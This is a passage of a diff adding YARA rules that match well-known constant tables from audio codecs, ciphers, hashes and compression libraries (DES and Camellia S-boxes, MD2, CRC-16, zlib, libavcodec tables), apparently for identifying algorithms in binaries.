930a970a990a9f0aa90aab0ab50abd0ac10acf0ad90ae50ae70aed0af10af30a030b110b150b1b0b230b290b2d0b3f0b470b510b570b5d0b650b6f0b7b0b890b8d0b930b990b9b0bb70bb90bc30bcb0bcf0bdd0be10be90bf50bfb0b070c0b0c110c250c2f0c310c410c5b0c5f0c610c6d0c730c770c830c890c910c950c9d0cb30cb50cb90cbb0cc70ce30ce50ceb0cf10cf70cfb0c010d030d0f0d130d1f0d210d2b0d2d0d3d0d3f0d4f0d550d690d790d810d850d870d8b0d8d0da30dab0db70dbd0dc70dc90dcd0dd30dd50ddb0de50de70df30dfd0dff0d090e170e1d0e210e270e2f0e350e3b0e4b0e570e590e5d0e6b0e710e750e7d0e870e8f0e950e9b0eb10eb70eb90ec30ed10ed50edb0eed0eef0ef90e070f0b0f0d0f170f250f290f310f430f470f4d0f4f0f530f590f5b0f670f6b0f7f0f950fa10fa30fa70fad0fb30fb50fbb0fd10fd30fd90fe90fef0ffb0ffd0f03100f101f10211025102b1039103d103f1051106910731079107b1085108710911093109d10a310a510af10b110bb10c110c910e710f110f310fd1005110b11151127112d1139114511471159115f11631169116f11811183118d119b11a111a511a711ab11c311c511d111d711e711ef11f511fb110d121d121f12231229122b12311237124112471253125f127112731279127d128f129712af12b312b512b912bf12c112cd12d112df12fd1207130d13191327132d1337134313451349134f1357135d13671369136d137b1381138713 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_exp_table__flt32___32_lil_504_
+{
+strings:
+	$a0 = { 0000003f0000803e0000003e0000803d0000003d0000803c0000003c0000803b0000003b0000803a0000003a00008039000000390000803800000038000080370000003700008036000000360000803500000035000080340000003400008033000000330000803200000032000080310000003100008030000000300000802f0000002f0000802e0000002e0000802d0000002d0000802c0000002c0000802b0000002b0000802a0000002a00008029000000290000802800000028000080270000002700008026000000260000802500000025000080240000002400008023000000230000802200000022000080210000002100008020000000200000801f0000001f0000801e0000001e0000801d0000001d0000801c0000001c0000801b0000001b0000801a0000001a00008019000000190000801800000018000080170000001700008016000000160000801500000015000080140000001400008013000000130000801200000012000080110000001100008010000000100000800f0000000f0000800e0000000e0000800d0000000d0000800c0000000c0000800b0000000b0000800a0000000a00008009000000090000800800000008000080070000000700008006000000060000800500000005000080040000000400008003000000030000800200000002000080010000000100008000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_exp_table__flt64___64_lil_1008_
+{
+strings:
+	$a0 = { 000000000000e03f000000000000d03f000000000000c03f000000000000b03f000000000000a03f000000000000903f000000000000803f000000000000703f000000000000603f000000000000503f000000000000403f000000000000303f000000000000203f000000000000103f000000000000003f000000000000f03e000000000000e03e000000000000d03e000000000000c03e000000000000b03e000000000000a03e000000000000903e000000000000803e000000000000703e000000000000603e000000000000503e000000000000403e000000000000303e000000000000203e000000000000103e000000000000003e000000000000f03d000000000000e03d000000000000d03d000000000000c03d000000000000b03d000000000000a03d000000000000903d000000000000803d000000000000703d000000000000603d000000000000503d000000000000403d000000000000303d000000000000203d000000000000103d000000000000003d000000000000f03c000000000000e03c000000000000d03c000000000000c03c000000000000b03c000000000000a03c000000000000903c000000000000803c000000000000703c000000000000603c000000000000503c000000000000403c000000000000303c000000000000203c000000000000103c000000000000003c000000000000f03b000000000000e03b000000000000d03b000000000000c03b000000000000b03b000000000000a03b000000000000903b000000000000803b000000000000703b000000000000603b000000000000503b000000000000403b000000000000303b000000000000203b000000000000103b000000000000003b000000000000f03a000000000000e03a000000000000d03a000000000000c03a000000000000b03a000000000000a03a000000000000903a000000000000803a000000000000703a000000000000603a000000000000503a000000000000403a000000000000303a000000000000203a000000000000103a000000000000003a000000000000f039000000000000e039000000000000d039000000000000c039000000000000b039000000000000a0390000000000009039000000000000803900000000000070390000000000006039000000000000503900000000000040390000000000003039000000000000203900000000000010390000000000000039000000000000f038000000000000e038000000000000d038000000000000c038fdffffffffffaf38fdffffffffff9f3806000000000090380600000000008038d0ffffffffff6f38d0ffffffffff5f386000000000005038e1feffffffff3f38e1feffffffff2f382e0300000000203865f7ffffffff0f38 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox3__32_lil_256_
+{
+strings:
+	$a0 = { 08020000000202080000000008000208000200080000000008020200000200080800020008000008080000080000020008020208080002000000020808020000000000080800000000020208000200000002020000000208080002080802020008020008000202000000020008020008080000000802020800020000000000080002020800000008080002000802000000000200000202080002000800000000000200000800020008020208000200080800000800020000000000000800020808020008000002000000000808020208080000000802020000020200080000080000020808020008080200000000020808020200080000000800020800020200 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes5__16_big_460_
+{
+strings:
+	$a0 = { 0000000400f00005001201f001f103e83fce0006003007de001300310fd203e907df7fb001f207e07fb103ea1fd27fb23fcf7fb30031000700320fd3003300700fd40fd50fd67fb4001400711fd3003400721fd40fd71fd57fb503eb0fd87fb607e11fd67fb77fb87fb9007200f11fd77fba07e20fd97fbb7fbc7fbd007003ec1fd87fbe0fda7fbf7fc07fc17fc200727fc37fc400717fc57fc600720034007200720008001507e3001600730fdb07e40fdc7fc7003500741fd9007500f23fd00fdd3fd17fc807e51fda7fc90fde1fdb7fca7fcb7fcc00f2001700361fdc007600f37fcd0fdf3fd27fce003700f43fd3007700f57fcf3fd47fd07fd10fe00fe17fd20fe21fdd7fd37fd47fd500f501f31fde7fd60fe31fdf7fd77fd87fd900f307e61fe07fda1fe11fe27fdb7fdc7fdd00f53fd57fde00f47fdf7fe000f5007700f500f500f603ed7fe107e70fe47fe27fe37fe4007303ee0fe57fe50fe61fe37fe67fe77fe800f23fd67fe900747fea7feb00f2007500f200f200f70fe77fec0fe81fe47fed7fee7fef00f307e81fe57ff01fe67ff17ff27ff37ff400f57ff57ff600f47ff77ff800f5007700f500f53fd77ff900367ffa7ffb00f3007600f300f37ffc7ffd00007ffe7fff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_place_411P__16_big_3240_
+{
+strings:
+	$a0 = { 0c2427103334000018480d2428103434010019480e242910353402001a480f242914353803001b4810242814343804001c4811242714333805001d4811282614323805041d4c10282514313804041c4c0f282414303803041b4c0e282418303c02041a4c0d282518313c0104194c0c282618323c0004184c0c2c2718333c000818500d2c2818343c010819500e2c2918353c02081a500f2c291c354003081b50102c281c344004081c50112c271c334005081d501130261c3240050c1d541030251c3140040c1c540f30241c3040030c1b540e3024203044020c1a540d3025203144010c19540c3026203244000c18540c3427203344001018580d342820344401101a580e342920354402101c5812242d10393406001e4813242e103a3407001f4814242f103b340800204815242f143b380900214816242e143a380a00224817242d1439380b00234817282c1438380b04234c16282b1437380a04224c15282a1436380904214c14282a18363c0804204c13282b18373c07041f4c12282c18383c06041e4c122c2d18393c06081e50132c2e183a3c07081f50142c2f183b3c08082050152c2f1c3b4009082150162c2e1c3a400a082250172c2d1c39400b08235017302c1c38400b0c235416302b1c37400a0c225415302a1c3640090c215414302a203644080c205413302b203744070c1f5412302c203844060c1e5412342d20394406101e5813342e203a440710205814342f203b4408102258182433103f340c0024481924341040340d0025481a24351041340e0026481b24351441380f0027481c2434144038100028481d2433143f38110029481d2832143e381104294c1c2831143d381004284c1b2830143c380f04274c1a2830183c3c0e04264c192831183d3c0d04254c182832183e3c0c04244c182c33183f3c0c082450192c3418403c0d0825501a2c3518413c0e0826501b2c351c41400f0827501c2c341c4040100828501d2c331c3f40110829501d30321c3e40110c29541c30311c3d40100c28541b30301c3c400f0c27541a3030203c440e0c2654193031203d440d0c2554183032203e440c0c2454183433203f440c1024581934342040440d1026581a34352041440e1028581e243910453412002a481f243a10463413002b4820243b10473414002c4821243b14473815002d4822243a14463816002e4823243914453817002f4823283814443817042f4c22283714433816042e4c21283614423815042d4c20283618423c14042c4c1f283718433c13042b4c1e283818443c12042a4c1e2c3918453c12082a501f2c3a18463c13082b50202c3b18473c14082c50212c3b1c474015082d50222c3a1c464016082e50232c391c454017082f502330381c4440170c2f542230371c4340160c2e542130361c4240150c2d54203036204244140c2c541f3037204344130c2b541e3038204444120c2a541e343920454412102a581f343a20464413102c5820343b20474414102e5824243f10033418003048252440100434190031482624411005341a0032482724411405381b0033482824401404381c00344829243f1403381d00354829283e1402381d04354c28283d1401381c04344c27283c1400381b04334c26283c18003c1a04324c25283d18013c1904314c24283e18023c1804304c242c3f18033c18083050252c4018043c19083150262c4118053c1a083250272c411c05401b083350282c401c04401c083450292c3f1c03401d08355029303e1c02401d0c355428303d1c01401c0c345427303c1c00401b0c335426303c2000441a0c325425303d200144190c315424303e200244180c305424343f20034418103058253440200444191032582634412005441a1034582a24451009341e0036482b2446100a341f0037482c2447100b34200038482d2447140b38210039482e2446140a3822003a482f244514093823003b482f284414083823043b4c2e284314073822043a4c2d28421406382104394c2c284218063c2004384c2b284318073c1f04374c2a284418083c1e04364c2a2c4518093c1e0836502b2c46180a3c1f0837502c2c47180b3c200838502d2c471c0b40210839502e2c461c0a4022083a502f2c451c094023083b502f30441c0840230c3b542e30431c0740220c3a542d30421c0640210c39542c3042200644200c38542b30432007441f0c37542a30442008441e0c36542a34452009441e1036582b3446200a441f1038582c3447200b4420103a58302403100f3424003c4831240410103425003d4832240510113426003e4833240514113827003f4834240414103828004048352403140f3829004148352802140e382904414c342801140d382804404c332800140c3827043f4c322800180c3c26043e4c312801180d3c25043d4c302802180e3c24043c4c302c03180f3c24083c50312c0418103c25083d50322c0518113c26083e50332c051c114027083f50342c041c104028084050352c031c0f40290841503530021c0e40290c41543430011c0d40280c40543330001c0c40270c3f54323000200c44260c3e54313001200d44250c3d54303002200e44240c3c54303403200f4424103c5831340420104425103e58323405201144261040583624091015342a00424837240a1016342b00434838240b1017342c00444839240b1417382d0045483a240a1416382e0046483b24091415382f0047483b28081414382f04474c3a28071413382e04464c3928061412382d04454c38280618123c2c04444c37280718133c2b04434c36280818143c2a04424c362c0918153c2a084250372c0a18163c2b084350382c0b18173c2c084450392c0b1c17402d0845503a2c0a1c16402e0846503b2c091c15402f0847503b30081c14402f0c47543a30071c13402e0c46543930061c12402d0c45543830062012442c0c44543730072013442b0c43543630082014442a0c42543634092015442a10425837340a2016442b10445838340b2017442c1046583c240f101b34300000483d2410101c34310001483e2411101d34320002483f2411141d3833000348402410141c383400044841240f141b383500054841280e141a383504054c40280d1419383404044c3f280c1418383304034c3e280c18183c3204024c3d280d18193c3104014c3c280e181a3c3004004c3c2c0f181b3c300800503d2c10181c3c310801503e2c11181d3c320802503f2c111c1d4033080350402c101c1c4034080450412c0f1c1b403508055041300e1c1a40350c055440300d1c1940340c04543f300c1c1840330c03543e300c201844320c02543d300d201944310c01543c300e201a44300c00543c340f201b44301000583d3410201c44311002583e3411201d4432100458422415102134360006484324161022343700074844241710233438000848452417142338390009484624161422383a000a484724151421383b000b484728141420383b040b4c462813141f383a040a4c452812141e383904094c442812181e3c3804084c432813181f3c3704074c42281418203c3604064c422c1518213c36080650432c1618223c37080750442c1718233c38080850452c171c234039080950462c161c22403a080a50472c151c21403b080b504730141c20403b0c0b544630131c1f403a0c0a544530121c1e40390c0954443012201e44380c0854433013201f44370c0754423014202044360c0654423415202144361006584334162022443710085844341720234438100a5800241b1027343c000c4801241c1028343d000d4802241d1029343e000e4803241d1429383f000f4804241c1428384000104805241b1427384100114805281a1426384104114c0428191425384004104c0328181424383f040f4c02281818243c3e040e4c01281918253c3d040d4c00281a18263c3c040c4c002c1b18273c3c080c50012c1c18283c3d080d50022c1d18293c3e080e50032c1d1c29403f080f50042c1c1c284040081050052c1b1c27404108115005301a1c2640410c11540430191c2540400c10540330181c24403f0c0f540230182024443e0c0e540130192025443d0c0d5400301a2026443c0c0c5400341b2027443c100c5801341c2028443d100e5802341d2029443e101058062421102d3442001248072422102e3443001348082423102f3444001448092423142f38450015480a2422142e38460016480b2421142d38470017480b2820142c384704174c0a281f142b384604164c09281e142a384504154c08281e182a3c4404144c07281f182b3c4304134c062820182c3c4204124c062c21182d3c42081250072c22182e3c43081350082c23182f3c44081450092c231c2f40450815500a2c221c2e40460816500b2c211c2d40470817500b30201c2c40470c17540a301f1c2b40460c165409301e1c2a40450c155408301e202a44440c145407301f202b44430c1354063020202c44420c1254063421202d4442101258073422202e4443101458083423202f4444101658 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0xa001__16_big_refl_False_
+{
+strings:
+	$a0 = { 0000a001e00340026007c00680042005c00e600f200d800ca0090008400ae00b201d801cc01e601f401ae01ba0190018e01340120010a011801420156017c016403ae03ba0390038203d803cc03e603f803420356037c036e03340320030a0316027c026802420250020a021e0234022a0290028402ae02bc02e602f202d802c807420756077c076e07340720070a071407ae07ba0790078207d807cc07e607fa0690068406ae06bc06e606f206d806c6067c066806420650060a061e0634062c04e604f204d804ca0490048404ae04b0040a041e04340426047c04680442045e05340520050a051805420556057c056205d805cc05e605f405ae05ba0590058a0e900e840eae0ebc0ee60ef20ed80ec60e7c0e680e420e500e0a0e1e0e340e280f420f560f7c0f6e0f340f200f0a0f140fae0fba0f900f820fd80fcc0fe60ffe0d340d200d0a0d180d420d560d7c0d620dd80dcc0de60df40dae0dba0d900d8c0ce60cf20cd80cca0c900c840cae0cb00c0a0c1e0c340c260c7c0c680c420c5209d809cc09e609f409ae09ba0990098e09340920090a091809420956097c0960080a081e08340826087c08680842085c08e608f208d808ca0890088408ae08b60a7c0a680a420a500a0a0a1e0a340a2a0a900a840aae0abc0ae60af20ad80ac40bae0bba0b900b820bd80bcc0be60bf80b420b560b7c0b6e0b340b200b0a0b1 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_aac_codebook_vector10__flt32___32_lil_2312_
+{
+strings:
+	$a0 = { 0000000000000000000000000000803f000000001845214000000000ba748a4000000000f52fcb40000000004fcc0841000000008e712e4100000000903f56410000000000008041000000001bc4954100000000d35aac4100000000d3b5c34100000000ffc8db4100000000ef89f44100000000cdf706420000000004f9134200000000000080420000803f000000000000803f0000803f0000803f184521400000803fba748a400000803ff52fcb400000803f4fcc08410000803f8e712e410000803f903f56410000803f000080410000803f1bc495410000803fd35aac410000803fd3b5c3410000803fffc8db410000803fef89f4410000803fcdf706420000803f04f913420000803f000080421845214000000000184521400000803f184521401845214018452140ba748a4018452140f52fcb40184521404fcc0841184521408e712e4118452140903f56411845214000008041184521401bc4954118452140d35aac4118452140d3b5c34118452140ffc8db4118452140ef89f44118452140cdf706421845214004f913421845214000008042ba748a4000000000ba748a400000803fba748a4018452140ba748a40ba748a40ba748a40f52fcb40ba748a404fcc0841ba748a408e712e41ba748a40903f5641ba748a4000008041ba748a401bc49541ba748a40d35aac41ba748a40d3b5c341ba748a40ffc8db41ba748a40ef89f441ba748a40cdf70642ba748a4004f91342ba748a4000008042f52fcb4000000000f52fcb400000803ff52fcb4018452140f52fcb40ba748a40f52fcb40f52fcb40f52fcb404fcc0841f52fcb408e712e41f52fcb40903f5641f52fcb4000008041f52fcb401bc49541f52fcb40d35aac41f52fcb40d3b5c341f52fcb40ffc8db41f52fcb40ef89f441f52fcb40cdf70642f52fcb4004f91342f52fcb40000080424fcc0841000000004fcc08410000803f4fcc0841184521404fcc0841ba748a404fcc0841f52fcb404fcc08414fcc08414fcc08418e712e414fcc0841903f56414fcc0841000080414fcc08411bc495414fcc0841d35aac414fcc0841d3b5c3414fcc0841ffc8db414fcc0841ef89f4414fcc0841cdf706424fcc084104f913424fcc0841000080428e712e41000000008e712e410000803f8e712e41184521408e712e41ba748a408e712e41f52fcb408e712e414fcc08418e712e418e712e418e712e41903f56418e712e41000080418e712e411bc495418e712e41d35aac418e712e41d3b5c3418e712e41ffc8db418e712e41ef89f4418e712e41cdf706428e712e4104f913428e712e4100008042903f564100000000903f56410000803f903f564118452140903f5641ba748a40903f5641f52fcb40903f56414fcc0841903f56418e712e41903f5641903f5641903f564100008041903f56411bc49541903f5641d35aac41903f5641d3b5c341903f5641ffc8db41903f5641ef89f441903f5641cdf70642903f564104f91342903f5641000080420000804100000000000080410000803f000080411845214000008041ba748a4000008041f52fcb40000080414fcc0841000080418e712e4100008041903f56410000804100008041000080411bc4954100008041d35aac4100008041d3b5c34100008041ffc8db4100008041ef89f44100008041cdf706420000804104f9134200008041000080421bc49541000000001bc495410000803f1bc49541184521401bc49541ba748a401bc49541f52fcb401bc495414fcc08411bc495418e712e411bc49541903f56411bc49541000080411bc495411bc495411bc49541d35aac411bc49541d3b5c3411bc49541ffc8db411bc49541ef89f4411bc49541cdf706421bc4954104f913421bc4954100008042d35aac4100000000d35aac410000803fd35aac4118452140d35aac41ba748a40d35aac41f52fcb40d35aac414fcc0841d35aac418e712e41d35aac41903f5641d35aac4100008041d35aac411bc49541d35aac41d35aac41d35aac41d3b5c341d35aac41ffc8db41d35aac41ef89f441d35aac41cdf70642d35aac4104f91342d35aac4100008042d3b5c34100000000d3b5c3410000803fd3b5c34118452140d3b5c341ba748a40d3b5c341f52fcb40d3b5c3414fcc0841d3b5c3418e712e41d3b5c341903f5641d3b5c34100008041d3b5c3411bc49541d3b5c341d35aac41d3b5c341d3b5c341d3b5c341ffc8db41d3b5c341ef89f441d3b5c341cdf70642d3b5c34104f91342d3b5c34100008042ffc8db4100000000ffc8db410000803fffc8db4118452140ffc8db41ba748a40ffc8db41f52fcb40ffc8db414fcc0841ffc8db418e712e41ffc8db41903f5641ffc8db4100008041ffc8db411bc49541ffc8db41d35aac41ffc8db41d3b5c341ffc8db41ffc8db41ffc8db41ef89f441ffc8db41cdf70642ffc8db4104f91342ffc8db4100008042ef89f44100000000ef89f4410000803fef89f44118452140ef89f441ba748a40ef89f441f52fcb40ef89f4414fcc0841ef89f4418e712e41ef89f441903f5641ef89f44100008041ef89f4411bc49541ef89f441d35aac41ef89f441d3b5c341ef89f441ffc8db41ef89f441ef89f441ef89f441cdf70642ef89f44104f91342ef89f44100008042cdf7064200000000cdf706420000803fcdf7064218452140cdf70642ba748a40cdf70642f52fcb40cdf706424fcc0841cdf706428e712e41cdf70642903f5641cdf7064200008041cdf706421bc49541cdf70642d35aac41cdf70642d3b5c341cdf70642ffc8db41cdf70642ef89f441cdf70642cdf70642cdf7064204f91342cdf706420000804204f913420000000004f913420000803f04f913421845214004f91342ba748a4004f91342f52fcb4004f913424fcc084104f913428e712e4104f91342903f564104f913420000804104f913421bc4954104f91342d35aac4104f91342d3b5c34104f91342ffc8db4104f91342ef89f44104f91342cdf7064204f9134204f9134204f91342000080420000804200000000000080420000803f000080421845214000008042ba748a4000008042f52fcb40000080424fcc0841000080428e712e4100008042903f56410000804200008041000080421bc4954100008042d35aac4100008042d3b5c34100008042ffc8db4100008042ef89f44100008042cdf706420000804204f913420000804200008042 }
+
+condition:
+	$a0
+}
+
+	
+rule MD2_MD2_INT_S__32_big_1024_
+{
+strings:
+	$a0 = { 000000290000002e00000043000000c9000000a2000000d80000007c000000010000003d0000003600000054000000a1000000ec000000f0000000060000001300000062000000a700000005000000f3000000c0000000c7000000730000008c00000098000000930000002b000000d9000000bc0000004c00000082000000ca0000001e0000009b000000570000003c000000fd000000d4000000e00000001600000067000000420000006f000000180000008a00000017000000e500000012000000be0000004e000000c4000000d6000000da0000009e000000de00000049000000a0000000fb000000f50000008e000000bb0000002f000000ee0000007a000000a900000068000000790000009100000015000000b2000000070000003f00000094000000c200000010000000890000000b000000220000005f00000021000000800000007f0000005d0000009a0000005a000000900000003200000027000000350000003e000000cc000000e7000000bf000000f70000009700000003000000ff0000001900000030000000b300000048000000a5000000b5000000d1000000d70000005e000000920000002a000000ac00000056000000aa000000c60000004f000000b800000038000000d200000096000000a40000007d000000b600000076000000fc0000006b000000e20000009c0000007400000004000000f1000000450000009d000000700000005900000064000000710000008700000020000000860000005b000000cf00000065000000e60000002d000000a8000000020000001b0000006000000025000000ad000000ae000000b0000000b9000000f60000001c00000046000000610000006900000034000000400000007e0000000f0000005500000047000000a300000023000000dd00000051000000af0000003a000000c30000005c000000f9000000ce000000ba000000c5000000ea000000260000002c000000530000000d0000006e00000085000000280000008400000009000000d3000000df000000cd000000f400000041000000810000004d000000520000006a000000dc00000037000000c80000006c000000c1000000ab000000fa00000024000000e10000007b000000080000000c000000bd000000b10000004a0000007800000088000000950000008b000000e300000063000000e80000006d000000e9000000cb000000d5000000fe0000003b000000000000001d00000039000000f2000000ef000000b70000000e0000006600000058000000d0000000e4000000a60000007700000072000000f8000000eb000000750000004b0000000a000000310000004400000050000000b40000008f000000ed0000001f0000001a000000db000000990000008d000000330000009f000000110000008300000014 }
+
+condition:
+	$a0
+}
+
+	
+rule rfc3548_Base_64_Encoding_with_URL_and_Filename_Safe_Alphabet__32_big_ASC_248_
+{
+strings:
+	$a0 = { 0000004100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000530000005400000055000000560000005700000058000000590000005a0000006100000062000000630000006400000065000000660000006700000068000000690000006a0000006b0000006c0000006d0000006e0000006f000000700000007100000072000000730000007400000075000000760000007700000078000000790000007a00000030000000310000003200000033000000340000003500000036000000370000003800000039 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdemux_vivo_h263_format__16_lil_28_
+{
+strings:
+	$a0 = { 0000000080006000b000900060012001c0024002800580044001f000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_exp_tab__flt32___32_big_128_
+{
+strings:
+	$a0 = { 393a775739a5cb603a136a163a83126f3ae9152d3b4f3e393bb8449b3c23d70a3c91ad3c3d0186e33d6655c23dcccccd3e36188b3ea1e89c3f0ff5993f8000003fe39eae404a62c340b3f30041200000418e432d41fcfb744260efc042c800004331d3f8439e1d29440c95d8447a000044de48f64545a47345afbb4e461c4000 }
+
+condition:
+	$a0
+}
+
+	
+rule Camellia_s2__8_byt_256_
+{
+strings:
+	$a0 = { e00558d9674e81cbc90bae6ad5185d8246dfd6278a324b42db1c9e9c3aca257b0d715f1ff8d73e9d7c60b9bebc8b16344dc37295ab8eba7ab302b4ada2acd89a171a35ccf799615ae8245640e1630933bf98978568fcec0ada6f5362a32e08af28b074c2bd362238641e392ca630e544fd889f65876bf4234810d151c0f9d2a055a141fa4313c42fa8b63c2bc1ffc8a52089009047efeab71506cdb5127ebb290fb807049b942166e6ceede73bfe7fc5a437b14c916e8d76032dde96267dc65cd3f24f193fdc791d52ebf36d5efb69b2f0310cd4cf8ce275a94a578411451bf5e40e73aaf1dd59146c9254d07870e3498050a7f6779386832ac75be9ee8f013d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_144_cb1_base__16_big_256_
+{
+strings:
+	$a0 = { 4cc9482a47bd4470523847374898411f4f8b4a7d4bd147fe555449414c9d44034fa5550c4ea154c651f24ff84cab4bbb53e55a5e55515d6f5649540f528e51744cdb459d4a6444454e12423b480e3ed6529249d351d849f153cc45a94e8843074d3a4e584f7051824b81472949dc4654543455bc5a275d5151ba4c5851f84d454d4551f84c5851ba5d515a2755bc5434465449dc47294b8151824f704e584d3a43074e8845a953cc49f151d849d352923ed6480e423b4e1244454a64459d4cdb5174528e540f56495d6f55515a5e53e54bbb4cab4ff851f254c64ea1550c4fa544034c9d4941555447fe4bd14a7d4f8b411f489847375238447047bd482a4cc9 }
+
+condition:
+	$a0
+}
+
+	
+rule twofish_q0__8_byt_256_
+{
+strings:
+	$a0 = { a967b3e804fda3769a928078e4ddd1380dc6359818f7ec6c43753726fa139448f2d08b308454df23195b3d59f3aea2826301832ed9519b7ca6eba5be160ce361c08c3af5732c250bbb4e896b536ab4f1e1e6bd45e2f4b666cc950356d41c1ed7fbc38eb5e9cfbfbaea7739af33c96271817909ad24cdf9d8e5c5b94d440886e7a11daaed0670b2d2417ba01131c2279020f660ff965cb1ab9e9c521b5f930aef918549ee2d4f8f3b47876d46d63e69642acecb2ffc97057aac7fd51a4b0ea75a28143f29883c4c02b8dab017551f8a7d57c78d74b7c49f727e152212580799346e50de6865bcdbf8c8a82b40dcfe32a4ca1021f0d35d0f006f9d36424a5ec1e0 }
+
+condition:
+	$a0
+}
+
+	
+rule Baseking_RCE__32_lil_48_
+{
+strings:
+	$a0 = { 0b000000160000002c00000058000000b000000071000000e2000000d5000000bb00000067000000ce0000008d000000 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_MAC__16_big_16_
+{
+strings:
+	$a0 = { 001f001f000f000f0007000700030003 }
+
+condition:
+	$a0
+}
+
+	
+rule Generic_squared_map__32_lil_64_
+{
+strings:
+	$a0 = { 00000000010000000400000005000000100000001100000014000000150000004000000041000000440000004500000050000000510000005400000055000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Standard_huffman_HuffFreq_table__0_14473691___flt32___32_lil_1024_
+{
+strings:
+	$a0 = { ea35143e61ed3b3c0e93db3a37ec1c3d07b0693b891c1c3d1ea4e93ab5d6023b1388f03adcec133b31700a3be9644a3b828fe23a4197f43a88810d3b6a5edd3ac7fddc3aa5400f3bc0643a3b251ed43a8f7a003becf4c53ae5f9e33a681c0f3be00b193ccb86103b98d4793bb514f33a172aff3a764ed43a6aaff43ae4a4ee3a8b85833dc238b03b0a6fa83b86a19f3b6fd9a13bb2dea43b0a6fa83b049c943b7fd8943b9b229f3b116a8a3be970c23bbb1e963b1c3d613b28ac603b2b31ae3b7feb543b3a7d5a3bab404a3b6f87403b3baf293ba1eb293bb823773b0a4d2f3bda1a153b5c50883b8107233b89a0453b46cf103b29a7073b6430313bced7173b6174333b95c2933b43e87b3ba763a53bc2ff103b900b773b3cb1183b37d94c3b20293f3bcda7373bbc6f253b2b61163b3de8403bd0121e3b993f703bf2fa023b0afa283b0505143b24d12a3bb070f53a01b02e3b68041f3b9ad10f3b06c4fb3ae4a4ee3a4612b33cc35bce3ab76bd73a308dd33a53d1f53a751ef43a25c0083d0d10f53aea9de13a5aa7c23aabfae83a6b8ebd3ad23cfc3a2b68de3a0942093b0942093b64c7293bc6f9fe3a8705ef3ac287d03ab14fbe3a7208a83a2b96cf3a53ace03a48891f3b828f623b60f1cc3acff8be3acfcacd3a8544183b431cca3a2775b83ac6453d3b3d51c83abc3dc63a19f9233b6e13133bfc05d43aca16ea3bb9b3a73dd77c033c2d9c9c3a1146a23ad6b6663daefc473b1d648a3aa21b8a3a6e15823a02226d3a0b7d8f3ac53a973af2312b3b457c8a3a5707a33ad27f833aae2ea73ad33e6b3a94f7d43aef28843a47e17e3abcbc4e3ac68f8c3aec455d3a212b2e3b1c36993aeca13f3a0e6e463af631763afa168c3a1981633a0745f33a8659c73bb91caf3a0e6e463a3e02a03aa2c7b93b56e28d3a07282a3b1b044a3afc58da3ab0f16c3a5f42643ad2985e3a7f9eab3a6bdfd43a473d613a6aaf743aa401763a3df5653a56e28d3a003c813a8c7b7b3a1a1d8c3bf2bea23b91b5863a3dd0d03aca319b3ad0a9963aae8a893a954cca3ab89bb73ae2e3973ae92f913a372cd33ae5a6dd3a0c518d3af219bb3a525f373b473d613ad674983a2d9c9c3a3e81a83aeca1bf3ae7acaa3adc1a853a6988703a6044d33a25e91a3be7d8ac3a60530c3b01fb683a60a0b53afde80a3b9992763a80e7663ad3e4773a0d916c3a63258b3a0c6a683a8618963a3a4b7b3a748b8e3adcbea23ab3ec8b3b65e8d03a148adf3a3be1883a25966f3ae91a7b3a7287b03a5d98793ae8dc8a3aeac2763a09f8b93a23dc853aa893853abc3b573a54aecf3a4085863a3186663af891b63ad748963aa3597a3a0875d33a73dca53aa865943abf15a23a2e4b853a0505943a8563503bbbba5f3abba1843ac1d6f83a6e948a3abbdff43a818d733abde3d23a }
+
+condition:
+	$a0
+}
+
+	
+rule bsynz_int_kexc_table__int___32_lil_100_
+{
+strings:
+	$a0 = { 08000000F0FFFFFF1A000000D0FFFFFF560000005EFFFFFF260100000AFEFFFFCE02000028FDFFFFB8000000A00200009EFDFFFF60FDFFFFB8000000D8020000CE020000F601000026010000A200000056000000300000001A0000001000000008000000 }
+
+condition:
+	$a0
+}
+
+	
+rule GameGuard_files_encryption_public_key__8_byt_84_
+{
+strings:
+	$a0 = { 0602000000240000525341310002000001000100fbe3fc09afae658c964cc537d2a477e74c41c2cff2fe2d9c80940c886db3849f8c22a0c9cdc0ab306582423cee3ca8b711d622fafb23f772cde7d06f6a8e96e3 }
+
+condition:
+	$a0
+}
+
+	
+rule zdeflate_lengthCodes__32_big_1024_
+{
+strings:
+	$a0 = { 000001010000010200000103000001040000010500000106000001070000010800000109000001090000010a0000010a0000010b0000010b0000010c0000010c0000010d0000010d0000010d0000010d0000010e0000010e0000010e0000010e0000010f0000010f0000010f0000010f0000011000000110000001100000011000000111000001110000011100000111000001110000011100000111000001110000011200000112000001120000011200000112000001120000011200000112000001130000011300000113000001130000011300000113000001130000011300000114000001140000011400000114000001140000011400000114000001140000011500000115000001150000011500000115000001150000011500000115000001150000011500000115000001150000011500000115000001150000011500000116000001160000011600000116000001160000011600000116000001160000011600000116000001160000011600000116000001160000011600000116000001170000011700000117000001170000011700000117000001170000011700000117000001170000011700000117000001170000011700000117000001170000011800000118000001180000011800000118000001180000011800000118000001180000011800000118000001180000011800000118000001180000011800000119000001190000011900000119000001190000011900000119000001190000011900000119000001190000011900000119000001190000011900000119000001190000011900000119000001190000011900000119000001190000011900000119000001190000011900000119000001190000011900000119000001190000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011a0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011b0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c